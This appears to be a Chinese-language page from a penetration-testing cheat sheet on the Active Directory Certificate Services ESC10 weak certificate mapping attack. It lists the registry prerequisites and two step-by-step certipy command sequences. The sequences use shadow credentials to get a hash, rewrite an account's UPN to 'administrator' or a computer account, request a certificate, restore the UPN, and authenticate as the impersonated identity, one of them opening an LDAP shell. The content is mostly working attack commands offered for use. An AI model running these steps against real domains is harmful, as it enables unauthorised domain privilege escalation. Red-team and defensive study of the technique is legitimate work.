跳转至

Active Directory - 证书 ESC10

ESC10 – 弱证书映射 - StrongCertificateBindingEnforcement

前提条件

  • StrongCertificateBindingEnforcement = 0。

利用方法

# 使用影子凭据获取用户哈希
certipy shadow auto -username "user@domain.local" -p "password" -account admin -dc-ip 10.10.10.10

# 更改用户 UPN
certipy account update -username "user@domain.local" -p "password" -user admin -upn administrator -dc-ip 10.10.10.10

# 请求证书
certipy req -username "admin@domain.local" -hashes "hashes" -target "10.10.10.10" -ca 'DOMAIN-CA' -template 'user' -debug

# 回滚 UPN 修改
certipy account update -username "user@domain.local" -p "password" -user admin -upn admin -dc-ip 10.10.10.10

# 使用证书连接
certipy auth -pfx 'administrator.pfx' -domain "domain.local" -dc-ip 10.10.10.10

ESC10 – 弱证书映射 - CertificateMappingMethods

前提条件

  • CertificateMappingMethods = 0x04。

利用方法

certipy shadow auto -username "user@domain.local" -p "password" -account admin -dc-ip 10.10.10.10

# 将用户 UPN 更改为 computer$
certipy account update -username "user@domain.local" -p "password" -user admin -upn 'computer$@domain.local' -dc-ip 10.10.10.10

# 请求证书
certipy req -username "admin@domain.local" -hashes "3b60abbc25770511334b3829866b08f1" -target "10.10.10.10" -ca 'DOMAIN-CA' -template 'user' -debug

# 回滚 UPN 修改
certipy account update -username "user@domain.local" -p "password" -user admin -upn admin -dc-ip 10.10.10.10

# 通过 schannel 使用证书连接
certipy auth -pfx 'computer.pfx' -domain "domain.local" -dc-ip 10.10.10.10 -ldap-shell

参考资料